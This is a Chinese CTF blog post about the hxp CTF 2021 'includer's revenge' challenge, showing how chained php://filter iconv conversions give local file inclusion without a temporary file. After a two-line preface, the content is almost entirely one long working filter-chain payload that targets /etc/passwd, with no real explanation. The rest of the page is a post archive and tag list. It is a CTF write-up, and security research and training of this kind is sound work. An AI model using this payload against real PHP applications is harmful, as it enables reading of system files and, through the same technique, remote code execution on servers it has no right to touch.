Diggid's Blog

利用php://filter实现无需临时文件LFI

Diggid's Blog



利用php://filter实现无需临时文件LFI

php LFI

字数统计: 698阅读时长: 4 min

 2022/01/12   Share

• 
• 
• 
• 
• 

前言

博客恢复更新。先复盘一下最近出的几个经典的php trick，这篇文章主要分析hxp ctf 2021 includer’s revenge这题使用php://filter实现无需创建临时文件LFI的trick。

原作者wp：Solving “includer’s revenge” from hxp ctf 2021 without controlling any files

php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

原文作者：diggid

原文链接：https://blog.diggid.top/2022/01/12/%E5%88%A9%E7%94%A8php-filter%E5%AE%9E%E7%8E%B0%E6%97%A0%E6%96%87%E4%BB%B6LFI/

发表日期：January 12th 2022, 10:17:30 am

更新日期：January 13th 2022, 11:05:44 am

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

• Next Post
  rwctf2022 Desperate Cat 复现记录
• Previous Post
  探索Fastjson反序列化特性和利用方式(长期更新)

Powered by Hexotheme Archer

PV: :)

CATALOG

1. 1. 前言

• Archive
• Tag
• Cate

Total : 57



2022

• 05/12Confluence 相关漏洞复现分析
• 04/30使用CodeQL-CHA调用图分析寻找新的CC链
• 03/31Spring Framework RCE 浅析
• 03/13队内分享会浅析Spring Cloud GateWay SPEL RCE - CVE-2022-22947
• 02/21rwctf2022 Desperate Cat 复现记录
• 01/12利用php://filter实现无需临时文件LFI

2021

• 12/25探索Fastjson反序列化特性和利用方式(长期更新)
• 11/29RMI 攻击方式复盘总结
• 11/22Java JMX系列(2)-MLet攻击
• 11/22Java JMX系列(4)-利用特殊的MBean
• 11/16Mysql jdbc 反序列化
• 10/26[每周3Tricks]php://filter路径穿越问题
• 10/21Bypass java沙箱 总结
• 10/13C3P0的不出网方式利用
• 09/24Java 反序列化Gadgets分析 - Clojure/Click1/Vaadin1
• 09/21Java 反序列化Gadgets分析 - AspectJWeaver/Jython/JavassistWeld
• 09/21Java 反序列化Gadgets分析 - ROME/BeanShell/C3P0
• 09/16Java 反序列化Gadgets分析 - FileUpload/Wicket/MozillaRhino
• 09/14Java 反序列化Gadgets分析 - Groovy/Hibernate/Spring
• 09/132021 RCTF 部分Web WP
• 08/19XStream 反序列化漏洞(3) - CVE-2021-xxx系列
• 08/16XStream 反序列化漏洞(2) - CVE-2020-xxx系列
• 08/13XStream 反序列化漏洞(1) - 漏洞浅析
• 08/02shiro 权限绕过系列汇总
• 07/27Jackson 反序列化系列汇总
• 07/20Java 反序列化回显姿势(缺Tomcat)
• 07/20[Java WebLogic反序列化]XMLDecoder之CVE-2019-2725
• 07/15新型ScriptEngine马实现冰蝎shell免杀
• 07/15[Java WebLogic反序列化]XMLDecoder之CVE-2017-3506 & 10271
• 07/11[Java反序列化]Jdk7u21 & Jdk8u20 反序列化漏洞分析
• 06/17[蚁剑改造]给php-fpm绕过disabled_functions增加对话函数选择
• 05/30[Java反序列化] Commons Collections 1-7 反序列化链分析
• 05/30Laravel 8 Debug Mode RCE 拓展与踩坑
• 05/26ThinkPHP 系列框架梳理
• 05/24ThinkPHP5 RCE漏洞总结
• 05/22ThinkPHP5 SQL注入漏洞总结
• 05/20PHP原生类利用
• 05/18phar反序列化tricks小总结
• 05/16文件包含姿势总结
• 05/10YII 反序列化POP链汇总
• 05/08SUID 提权小记
• 05/05PHP-FPM 打法小总结
• 05/04蓝帽杯 2021 One Pointer PHP 复现
• 05/02[刷题] BUUOJ做题记录(1)
• 04/20Laravel 5.7-7 反序列化系列漏洞汇总
• 04/09Fastjson 反序列化漏洞总结
• 04/05SSRF Gopher协议打内网复现
• 03/29VNCTF 2021 做题记录
• 03/16SpEL & Thymeleaf 模板注入学习
• 03/11DiceCTF 2021 复盘
• 02/25Java反序列化漏洞基础 - 动态代理
• 02/22Java反序列化漏洞基础 - 反射&反序列化
• 02/09从三道题学习XSS侧信道
• 02/09博客落地
• 02/08pickle反序列化总结
• 01/21Bypass PHP WAF to RCE

2020

• 12/22SSTI_flask骚姿势总结

buuoj wp xss java java反序列化 Fastjson 反序列化 Java反射 java动态代理 Lavarel RMI php原生类 模板注入 SpEL注入 SSRF gopher FastCGI PHP-FPM Thymeleaf注入 thinkphp 框架 Thinkphp SQL注入 YII phar反序列化 php 文件包含 工具改造 蚁剑 php-fpm disabled_functions C3P0 不出网 WebLogic XMLDecoder CVE-2019-2725 gadgets RCE 漏洞回显 Jackson反序列化 jdk7u21 jdk8u20 侧信道 伪协议清日志 debug mode RCE 提权 内网渗透 SUID ssti thinkphp5 rce 做题记录 XStream php特性 pickle CVE-2020-26217 CVE-2020-26258 CVE-2020-26259 shiro鉴权 冰蝎 免杀shell 每周3Tricks php_stream_wrapper JMX Exp MBean jmx MLet mysql jdbc spring LFI spel spring cloud gateway rwctf2022 tomcat codeql cc链 中间件 Confluence



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true

others wp nodejs java php python 工具改造 内网渗透



